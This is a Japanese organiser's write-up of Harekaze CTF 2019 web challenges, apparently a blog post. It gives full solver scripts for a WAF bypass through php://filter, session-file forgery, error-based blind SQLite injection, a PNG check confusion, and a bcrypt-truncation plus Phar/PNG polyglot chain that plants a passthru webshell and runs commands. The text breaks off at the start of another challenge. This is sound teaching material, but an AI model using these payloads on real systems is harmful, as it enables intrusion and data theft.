5 月 18 日から 5 月 19 日にかけて、チーム Harekaze は Harekaze CTF 2019 を開催しました。登録チーム数は 724 チーム、10 点以上得点したチームは 523 チームと大変多くの方にご参加いただきました。ありがとうございました。
TeamHarekaze/HarekazeCTF2019-challenges ですべての問題 (と問題サーバのソースコード) を公開していますので、当日参加されなかった/できなかった方もぜひ挑戦してみてください。
さて、この記事では私が出題した以下の 9 問について解説します。
つよいWAFを作りました! これならフラグは読めないはず!
I made a strong WAF, so you definitely can’t read the flag!
(URL)
添付ファイル:
ソースコードが添付ファイルとして与えられています。まず Dockerfile
を見てみましょう。
FROM php:7.3-apache
COPY ./php.ini $PHP_INI_DIR/php.ini
COPY ./chall /var/www/html
RUN echo "HarekazeCTF{<censored>}" > /flag
EXPOSE 80
フラグは /flag
に存在しています。
index.html
は次のような内容です。
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Encode & Encode</title>
</head>
<body>
<h1>Encode & Encode</h1>
<ul>
<li><a href="#pages/about.html" class="link">About</a></li>
<li><a href="#pages/lorem.html" class="link">Lorem ipsum</a></li>
<li><a href="query.php?source">Source Code</a></li>
</ul>
<hr>
<div id="content"></div>
<script>
window.addEventListener('DOMContentLoaded', () => {
let content = document.getElementById('content');
for (let link of document.getElementsByClassName('link')) {
link.addEventListener('click', () => {
fetch('query.php', {
'method': 'POST',
'headers': {
'Content-Type': 'application/json'
},
'body': JSON.stringify({
'page': link.href.split('#')[1]
})
}).then(resp => resp.json()).then(resp => {
content.innerHTML = resp.content;
})
return false;
}, false);
}
}, false);
</script>
</body>
</html>
index.html
でリンクをクリックした際に POST が送信される query.php
を見てみましょう。
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
file_get_contents('php://input')
で HTTP リクエストの body 部分を取得し、json_decode
で JSON としてパースしています。その後 body 部分を is_valid
で危険な文字列が含まれていないかチェックし、さらに JSON としてパースした結果の連想配列が page
という添字を持っていれば、file_get_contents
でその内容を取得しています。
/flag
を取得する方法から考えていきましょう。is_valid
では flag
という文字列が含まれているかどうかチェックしていますが、ごまかすことはできないでしょうか。
is_valid
がチェックしているのは $json['page']
ではなく $body
であることに着目します。JSON では '\uXXXX'
のように文字をエスケープすることができ、例えば 'A'
と '\u0041'
は等価です。
これを利用して /flag
を取得しようと試みますが、出力前の置換によってフラグが表示されません。
$ curl http://(target)/query.php -d '{"page":"/fl\u0061g"}'
{"content":"HarekazeCTF{<censored>}\n"}
is_valid
によって flag
と同じ様に弾かれている '(php|file|glob|data|tp|zip|zlib|phar):'
という文字列を見てみましょう。この前の行にある // no stream wrapper
というコメントをググってみると、これは PHP: サポートするプロトコル/ラッパー - Manual に書かれているような、ファイル読み込み時のストリームラッパーという機能の利用を防ぐためのフィルターと推測できます。
php://filter
というラッパーを使って /flag
の内容が Base64 エンコードさせて出力させてみましょう。
$ curl http://(target)/query.php -d '{"page":"php\u003a//filter/convert.base64-encode/resource=/fl\u0061g"}'
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}
$ echo -en "SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg==" | base64 -d
HarekazeCTF{turutara_tattatta_ritta}
フラグが得られました。
HarekazeCTF{turutara_tattatta_ritta}
正答チーム数は 54 チームでした。
フラグはアイマス DS の「プリコグ」からです。問題の内容等と特に関係はありません。
Easy Notesはメモの管理ができるサービスです。書いたメモはzip形式かtar形式でまとめて出力できます。
実験的なサービスなのでバグがたくさんあるかもしれませんが…もし見つけても悪用しないでくださいね。
Easy Notes is a note-taking service. You can write notes and export them as a .zip or .tar!
Since this is an experimental service, there might be a lot of bugs… If you find bugs, please do not abuse them!
(URL)
添付ファイル:
ソースコードが添付ファイルとして与えられています。
まずはどのような条件でフラグが得られるか確認します。pages/flag.php
は以下のような内容です。
<section>
<h2>Get flag</h2>
<p>
<?php
if (is_admin()) {
echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";
} else {
echo "You are not an admin :(";
}
?>
</p>
</section>
is_admin
の返り値が true
と評価される値であった場合に、環境変数として与えられているフラグが表示されています。これはどのような関数でしょうか。このファイルを読み込んでいるファイルを見ていきましょう。
pages/flag.php
は index.php?page=flag
のように index.php
経由で読み込まれます。index.php
は以下のような内容です。
<?php
require_once('init.php');
if (!isset($_GET['page']) || empty($_GET['page'])) {
$page = 'home';
} else {
$page = $_GET['page'];
}
if (in_array($page, ['notes', 'note', 'add', 'delete'], true) && !is_logged_in()) {
redirect('/?page=home');
}
if (in_array($page, ['home', 'flag', 'notes', 'note', 'add', 'delete', 'login'], true)) {
include('includes/header.php');
include('pages/' . $page . '.php');
include('includes/footer.php');
} else {
redirect('/?page=home');
}
?>
index.php
が読み込んでいる init.php
は、この他にも様々なファイルで利用されています。init.php
は以下のように lib.php
から様々な関数を読み込み、また config.php
で定義されている TEMP_DIR
にセッションファイルを保存するよう設定しています。
<?php
error_reporting(0);
require_once('config.php');
require_once('lib.php');
session_save_path(TEMP_DIR);
session_start();
lib.php
は以下のような内容です。
<?php
︙
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}
︙
is_admin
は $_SESSION['admin'] === true
のときに true
が返される関数のようです。ところが、配布されているファイルにはこの関数以外で $_SESSION['admin']
を参照している箇所はありません。
ほかに怪しげなところがないかソースコードを眺めてみましょう。この Web アプリケーションの目玉機能 (?) であるノートの出力機能の実装を見てみます。なんと、出力される zip もしくは tar は、セッションファイルと同じ TEMP_DIR
に保存されているようです。
<?php
︙
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;
︙
出力機能を利用して $_SESSION['admin']
が true
となる偽物のセッションファイルを作成し、セッション ID を作成したセッションファイルを参照するように変更すればフラグが得られそうです。
さて、PHP のセッションファイル周りの挙動を確認していきましょう。セッションファイルのファイル名は必ず sess_
から始まり、その後にセッション ID が続きます。セッション ID は a-zA-Z0-9,-
以外の文字が含まれている場合には拒否されます。
これを利用すれば、getuser
が sess_
を返すようにする (= sess_
でログインする) ことで sess_-0123456789abcdef.zip
のようなファイル名で zip を出力させることができます。
また、$type
には $_GET['type']
がそのまま入ってきており、例えば export.php?type=.
にアクセスすると最初にユーザ名等と結合したときのファイル名は sess_-0123456789abcdef..
になります。その後 $filename = str_replace('..', '', $filename);
によって ..
が削除されるため、最終的に出力されるファイル名は sess_-0123456789abcdef
になります。これでファイル名についてはセッションとして読み込ませることができるようなフォーマットになりました。
セッションデータについて挙動を確認します。セッションデータのシリアライズおよびデシリアライズについての設定である session.serialize_handler
はデフォルトでは php
に設定されています。この場合には、セッションデータは (属性名)|(シリアライズされたデータ);
のような形式で、セミコロン区切りで保存されます。
これを利用すれば、|N;admin|b:1;
のようなデータを生成される zip に含ませる (今回は保存されているノートのタイトルに仕込む) ことでセッションデータを偽造することができます。
これらの作業を自動化すると以下のようになりました。
import re
import requests
URL = 'http://(target)/'
while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})
# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})
# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF\{.+\}', r)
if len(flag) > 0:
print(flag[0])
break
実行するとフラグが得られました。
$ python solver.py
HarekazeCTF{l3ts_m4k3_4_f4k3_s3ss10n_d4t4}
HarekazeCTF{l3ts_m4k3_4_f4k3_s3ss10n_d4t4}
正答チーム数は 10 チームでした。
PHP はデフォルトのセッションハンドラとかシリアライズハンドラだと、どんなファイルにどんな内容を書き込むか知ってますかという問題でした。Insecure Deserialization を使ってライブラリの gadget を組み合わせて RCE とか、SoapClient
で SSRF とか考えましたが、結局シンプルな感じになりました。
🐶😺🦓🐨
(URL)
添付ファイル:
犬、猫、シマウマ、コアラのうちから好きな動物を投票できるサービスです。
ある動物に投票を行うと vote.php
に id=1
のような POST が飛び、 Thank you for your vote! The result will be published after the CTF finished.
というメッセージが返ってきます。また、id=hoge
のように id
に数値以外のものを与えると An error occurred while updating database
というエラーメッセージが返ってきます。
以下のようなソースコードが添付ファイルとして与えられています。
schema.sql
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
flag
というテーブルにフラグがあるようです。これをなんとかして読み出したいですね。
vote.php
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
// update database
$pdo = new PDO('sqlite:../vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);
与えられた ID を元に投票結果を更新しています。
is_valid
によって使用できる文字や関数に制限がかかっていますが、$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
で SQL インジェクションができそうです。発行される SQL 文は UPDATE 文であり、情報の抽出ができないように見えますが、その後の処理に注目します。
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
もし SQL 文の発行時にエラーが発生すれば、正常に処理が行われたときとは違ったメッセージを表示するようです。これを利用して、例えば得たい情報の 1 ビット目が立っていればエラーを発生させ、もし立っていなければエラーは発生させないというようにして 1 ビットずつ情報を得る Error-based Blind SQLi ができそうです。
さて、この Web アプリケーションでは SQLite が使われていますが、意図的にエラーを起こすにはどうすればよいのでしょうか。
"SQLite" "SQLi"
等でググっても load_extension
(SQLite の拡張を読み込む関数) を使っている資料ばかりが出てきます。他に何か使える関数がないか SQLite の関数一覧を見てみると、abs の項で気になる記述がありました。
If X is the integer -9223372036854775808 then abs(X) throws an integer overflow error
abs
に -9223372036854775808
を与えるとエラーを吐くようです。試してみましょう。
$ sqlite3
︙
sqlite> select abs(123);
123
sqlite> select abs(-9223372036854775808);
Error: integer overflow
sqlite> select abs(0x8000000000000000);
Error: integer overflow
確かにエラーを吐きました。これを使えば Error-based Blind SQLi ができそうです。
さて、Blind SQLi 問では
substr
のような関数である 1 文字を切り出しord
(SQLite の場合には unicode
) のような関数で文字コード (数値) に変換という感じで 1 ビットずつ情報を読み出すのがよくある流れです。この問題でも同じ様にできないか、フィルターによって制限されていない関数を SQLite の関数一覧から探し、方法を考えてみましょう。
私が想定していた方法として、以下の例のように、既にわかっている文字列の一部と試行する文字を結合した文字列を replace
で空文字に置換し、もし length
が短ければ (つまり、その文字列が削除されていれば) 試行した文字列が使われていることが確認できるというものがあります。
$ sqlite3
︙
sqlite> create table flag (flag text);
sqlite> insert into flag values ('HarekazeCTF{test}');
sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag;
17
︙
sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag;
4
この問題では '
も "
もフィルターされているため文字列リテラルは使えず、また char
関数も同様に使えません。どうやって比較するための文字列を作ればいいのでしょう。
私が想定していた方法は、hex
関数でフラグを 16 進数の文字列にエンコードさせることで得たい文字列が使う文字種を 0123456789abcdef
の 16 文字に減らし、これらの文字を頑張って作って結合するというものでした。
0123456789
は数値リテラルとして解釈させられるので、1||2
(||
は文字列の結合演算子) のように文字列として扱うことでそのまま使えます。また abcdef
については SQLi filter evasion and obfuscation というスライドと同じ要領で、以下のようにして作ることができます。
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' # 'zebra' → '7A65627261'
table['C'] = 'trim(hex(typeof(.1)),12567)' # 'real' → '7265616C'
table['D'] = 'trim(hex(0xffffffffffffffff),123)' # 0xffffffffffffffff = -1 → '2D31'
table['E'] = 'trim(hex(0.1),1230)' # 0.1 → 302E31
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # 'dog' → '646F67'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' # 'koala' → '6B6F616C61'
ここまで紹介してきたフィルターのバイパス方法を利用して、以下のようなスクリプトを書くことができました。
# coding: utf-8
import binascii
import requests
URL = 'http://(target)/vote.php'
# フラグの長さを特定
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
# A-F のテーブルを作成
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
# フラグをゲット!
res = binascii.hexlify(b'HarekazeCTF{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
これを実行するとフラグが得られました。
$ python solver.py
[+] length: 76
[+] flag (24/76): 486172656B617A654354467B3
[+] flag (25/76): 486172656B617A654354467B34
[+] flag (26/76): 486172656B617A654354467B343
︙
[+] flag (73/76): 486172656B617A654354467B34316D5F37305F62335F345F35716C3137335F6D3435373372
[+] flag (74/76): 486172656B617A654354467B34316D5F37305F62335F345F35716C3137335F6D34353733727
[+] flag (75/76): 486172656B617A654354467B34316D5F37305F62335F345F35716C3137335F6D34353733727D
[+] flag: HarekazeCTF{41m_70_b3_4_5ql173_m4573r}
HarekazeCTF{41m_70_b3_4_5ql173_m4573r}
正答チーム数は 3 チームでした。
SQLite で Error-based SQLi といえば load_extension
ですが、これ以外の関数でもできないかソースコードを探したところ、abs
、sum
、ntile
等でもできることがわかったので問題として作成したものです。
文字列リテラルや char
関数の代替をどうするかというパートですが、justCatTheFish の terjanq さんの解法では hex(hex(…))
と二重に hex
でエンコードすることによって、作る必要のある文字種を 0123456789abcdef
の 16 文字から 0123456789
の 10 文字にまで減らされています。めっちゃ楽ですね😇
フラグは「めざせポケモンマスター」からです。SQLite には sqlite_master という存在しているテーブルの名前や CREATE TABLE
をしたときに発行された SQL 文を確認できるテーブルがあって、ここからの連想でした。(は?)
アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。アップローダーはPNG形式だけを受け付けるようにチェックをしているのですが、もしこのチェックを騙すことができればフラグを差し上げます。
I made a web application called Avatar Uploader, which you can upload avatars. The uploader checks types of uploaded images and only accepts PNG. However, if you could trick the check, I will give you the flag.
(URL)
添付ファイル:
ソースコードが添付ファイルとして与えられています。
まずはどのような条件でフラグが得られるか確認します。Dockerfile
は以下のような内容です。
# flag 1
ENV FLAG1 "<redacted>"
# flag 2
RUN echo "<redacted>" > "/flag2-$(head -c 8 /dev/urandom | od -A n -t x1 | tr -d ' \n')"
RUN chmod -R 755 /flag*
FLAG1
という環境変数に 1 つ目のフラグが、/flag2-(16 桁のランダムな文字列)
というファイルに 2 つ目のフラグがあるようです。
FLAG1
でソースコードを検索してみると、upload.php
に以下のような処理がありました。
<?php
︙
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}
// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
︙
アップロードされたファイルはまず finfo_file
で PNG 形式であるか確認され、その後 getimagesize
でもう一度 PNG 形式であるかどうか確認されています。もし前者ではチェックを通り、後者で PNG 形式でないという判定を受ければ FLAG1
という環境変数が表示されるようです。
添付ファイルの Dockerfile
等から問題サーバと同じ環境を用意し、まず正常な PNG ファイルを少しずつ削りながら、どこまでいけばこの環境で finfo_file
が PNG と判定しなくなるかを確認します。
root@950378d61f89:/tmp# echo '<?php $f = finfo_open(FILEINFO_MIME_TYPE); var_dump(finfo_file($f, "test.bin"));' > test.php
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\1\x90\0\0\1\x90\8\6\0\0\0\x80\xbf6\xcc" > test.bin; php test.php
string(9) "image/png"
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR" > test.bin; php test.php
string(9) "image/png"
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\r" > test.bin; php test.php
string(24) "application/octet-stream"
getimagesize
でも同様に試してみましょう。
root@950378d61f89:/tmp# echo '<?php $s = getimagesize("test.bin"); var_dump($s[2] === IMAGETYPE_PNG);' > test.php
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\1\x90\0\0\1\x90\8\6\0\0\0\x80\xbf6\xcc" > test.bin; php test.php
bool(true)
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR" > test.bin; php test.php
bool(false)
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\r" > test.bin; php test.php
bool(false)
\x89PNG\r\n\x1a\n\0\0\0\rIHDR
を投げたときの挙動が finfo_file
と異なります。これを問題サーバに投げるとフラグが得られました。
HarekazeCTF{seikai_wa_hitotsu!janai!!}
正答チーム数は 52 チームでした。
getimagesize の実装を確認しましょう。マジックナンバー (先頭 8 バイト) が \x89PNG\r\n\x1a\n
であれば php_handle_png
が呼ばれますが、この中ではもしマジックナンバーの後の 9 バイト分が読み込めなければ NULL
を返しています。php_handle_png
の返り値が NULL
であれば getimagesize
は FALSE を返すため、\x89PNG\r\n\x1a\n\0\0\0\rIHDR
のように IHDR チャンクが中途半端なファイルは PNG として判定されなかったようです。
フラグはミルキィホームズの「正解はひとつ!じゃない!!」からです。この問題には 2 つ目のフラグ (Avatar Uploader 2 のこと) が存在するので、そこからの連想でした。
アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。もしよかったら脆弱性がないか確認していただけませんか。
ヒント: https://php.net/manual/ja/function.password-hash.php
I made a web application called Avatar Uploader, which you can upload avatars. Could you please try to find vulnerabilities?
Hint: https://www.php.net/manual/en/function.password-hash.php
(URL)
添付ファイル:
Avatar Uploader 1 の続きの問題です。今度は /flag2-(16 桁のランダムな文字列)
というファイルを読み出せばよいのでしょう。
とりあえず index.php
を見てみましょう。
<?php
error_reporting(0);
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
$flash = $session->get('flash');
$session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Avatar Uploader</title>
<style>
/* common.css */
<?php include('common.css'); ?>
/* light/dark.css */
<?php include($session->get('theme', 'light') . '.css'); ?>
/**/
</style>
</head>
<body>
<header>
<h1>Avatar Uploader</h1>
<nav class="navbar">
<ul class="mr-auto">
<li><a href="/">Home</a></li>
<li><a href="theme.php">Toggle theme</a></li>
<?php if ($session->isset('name')) { ?>
</ul>
<ul>
<li>Hello, <?= $session->get('name'); ?>! <img src="<?= $avatar; ?>" width="24" height="24"></li>
<li><a href="signout.php">Sign out</a></li>
<?php } ?>
</ul>
</nav>
</header>
<?php if ($flash) { ?>
<div class="<?= $flash['type'] ?>"><?= $flash['message']; ?></div>
<?php } ?>
<main>
<?php if ($session->isset('name')) { ?>
<h2>Upload Avatar</h2>
<p>Please upload a PNG image less than 256kB and smaller than 256px*256px.</p>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p><input type="file" name="file"></p>
<input type="submit" value="Upload">
</form>
<?php } else { ?>
<h2>Sign in</h2>
<form action="signin.php" method="POST">
<p><label for="name">Name: </label><input type="text" name="name" id="name" pattern="^[0-9A-Za-z_]{4,16}$" placeholder="e.g. tateishi_shima"></p>
<input type="submit" value="Sign in">
</form>
<?php } ?>
</main>
</body>
</html>
CSS の出力部分で <?php include($session->get('theme', 'light') . '.css'); ?>
とセッションから値を読み出して include
しています。$session->get(…)
が返す値を操作できれば、ここで LFI ができそうです。まずはセッション管理について調べてみましょう。
$session->get('theme', 'light')
のように、セッション管理には PHP デフォルトの $_SESSION
ではなく SecureClientSession
という独自に実装したクライアントセッションが使われています。require_once
で読み込まれている lib/session.php
を確認しましょう。
<?php
class SecureClientSession {
private $cookieName;
private $secret;
private $data;
public function __construct($cookieName = 'session', $secret = 'secret') {
$this->data = [];
$this->secret = $secret;
if (array_key_exists($cookieName, $_COOKIE)) {
try {
list($data, $signature) = explode('.', $_COOKIE[$cookieName]);
$data = urlsafe_base64_decode($data);
$signature = urlsafe_base64_decode($signature);
if ($this->verify($data, $signature)) {
$this->data = json_decode($data, true);
}
} catch (Exception $e) {}
}
$this->cookieName = $cookieName;
}
public function isset($key) {
return array_key_exists($key, $this->data);
}
public function get($key, $defaultValue = null){
if (!$this->isset($key)) {
return $defaultValue;
}
return $this->data[$key];
}
public function set($key, $value){
$this->data[$key] = $value;
}
public function unset($key) {
unset($this->data[$key]);
}
public function save() {
$json = json_encode($this->data);
$value = urlsafe_base64_encode($json) . '.' . urlsafe_base64_encode($this->sign($json));
setcookie($this->cookieName, $value);
}
private function verify($string, $signature) {
return password_verify($this->secret . $string, $signature);
}
private function sign($string) {
return password_hash($this->secret . $string, PASSWORD_BCRYPT);
}
}
重要なのは save
、__construct
、verify
、sign
の 4 つのメソッドです。
save
を読むと、Cookie には .
区切りで Base64 エンコードされた JSON 形式のデータとそれを sign
メソッドで署名した値を保存していることがわかります。__construct
はページにアクセスした際にデータを読み込むためのメソッドで、verify
メソッドで署名が正しいと確認された場合にのみデータを読み込んでいます。
sign
メソッドでは PASSWORD_BCRYPT
アルゴリズムで password_hash
を使ってデータに署名しています。データの前には $this->secret
が結合されていますが、secret
は環境変数から値が設定されており推測はできません。verify
メソッドでは password_verify
を使って署名が正しいものか確認しています。
ここには脆弱性がないように見えますが、ここでヒントを見直してみましょう。
ヒント: https://php.net/manual/ja/function.password-hash.php
password_hash
のドキュメントへのリンクが張られています。アクセスして読んでみると、アルゴリズムが PASSWORD_BCRYPT
である場合について気になる記述があります。
警告
PASSWORD_BCRYPT をアルゴリズムに指定すると、 password が最大 72 文字までに切り詰められます。
ここで password
は password_hash
の第 1 引数です。この仕様を悪用すれば、もし 72 文字以上のデータの署名を入手することができれば、署名はそのままでデータの 72 文字以降の部分を書き換えることができそうです。
では、どうすればそのようなデータを作成することができるのでしょうか。セッションに値を設定している箇所を探すと、upload.php
に以下のような記述がありました。
<?php
︙
require_once('lib/util.php');
︙
// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}
︙
error
が定義されている lib/util.php
を確認します。
<?php
︙
function flash($type, $message) {
global $session;
$session->set('flash', [
'type' => $type,
'message' => $message
]);
$session->save();
}
function error($message, $path = '/') {
flash('error', $message);
redirect($path);
}
この flash メッセージはセッションに保存されているようです! 様々なデータが既に保存されている状態で flash メッセージを表示させれば、データは 72 文字を超えるでしょう。
さて、セッションデータを操作できるようになったところで、どうすれば <?php include($session->get('theme', 'light') . '.css'); ?>
で LFI ができるか考えていきましょう。upload.php
は PNG しか受け付けませんが、このような制限があっても LFI はできるでしょうか。
PHP には Phar という複数のファイルをひとつにまとめることができるファイル形式があります。Phar 向けのストリームラッパーも存在しており、b.txt
というファイルを含む a.phar
という Phar アーカイブがあるとき、file_get_contents('phar://a.phar/b.txt')
のように phar://
スキームを利用することでアクセスすることができます。
Phar のヘッダはある程度自由で、<?php __HALT_COMPILER(); ?>
で終わってさえいれば、その前に JPEG が PNG があろうが Phar として解釈させることができます。このため、Phar と PNG の polyglot も作ることができます。exploit.css
のように .css
という拡張子を持った PHP スクリプトを含む Phar と PNG の polyglot を作成し、これをセッションの theme
にセットすれば LFI ができるはずです。
これらの脆弱性を組み合わせて、以下のようなスクリプトで OS コマンドを実行することができました。
make_exploit.php
<?php
define('PNG_HEADER', hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000'));
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('exploit.css', '<?php passthru($_GET["cmd"]); ?>');
$phar->setStub(PNG_HEADER . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
solver.py
import base64
import binascii
import json
import os
import re
import requests
import urllib.parse
URL = 'http://(target)/'
def b64decode(s):
return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))
# make exploit.phar
os.system('php -d phar.readonly=0 make_exploit.php')
# sign in
sess = requests.Session()
username = binascii.hexlify(os.urandom(8)).decode()
sess.post(URL + 'signin.php', data={'name': username})
# upload exploit.phar as exploit.png
with open('exploit.phar', 'rb') as f:
sess.post(URL + 'upload.php', files={'file': ('exploit.png', f)})
sessdata = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(sessdata))
avatar = data['avatar']
# print flash message
sess.get(URL + 'upload.php', allow_redirects=False)
sessdata, sig = sess.cookies['session'].split('.')
payload = b64decode(sessdata).replace(b'}}', '}},"theme":"phar://uploads/{}/exploit"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)
# LFI
while True:
command = input('> ')
c = sess.get(URL + '?cmd=' + urllib.parse.quote(command)).content.decode()
result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0]
print(result.strip())
cat /flag*
でフラグが得られました。
$ python solver.py
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> ls /
bin
boot
dev
etc
flag2-dea5b73356499c78
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
> cat /flag*
HarekazeCTF{lfi_with_phar_is_fun}
HarekazeCTF{lfi_with_phar_is_fun}
正答チーム数は 11 チームでした。
フラグが雑ですね。この問題は「password_hash
の仕様を悪用する」「Phar と PNG の polyglot で .css
という拡張子が付与されるのを回避して LFI する」の 2 つが主な要素なのですが、作問時に何も考えていなかったので後者だけがフラグに盛り込まれました。
password_hash
の仕様は bcryptの72文字制限をSHA-512ハッシュで回避する方式の注意点 | 徳丸浩の日記で初めて知りました。この記事で紹介されている “PHPのbcrypt実装はバイナリセーフでない” という仕様を利用した問題は CPCTF 2019 の Password: S5 があるのですが、パスワードの 72 文字制限については過去問が見当たらなかったため、今回この仕様を利用した問題を作成しました。
if (eval(your_code) === 1337) console.log(flag);
(URL)
添付ファイル:
以下のようなソースコードが与えられています。
const express = require('express');
const path = require('path');
const vm = require('vm');
const app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
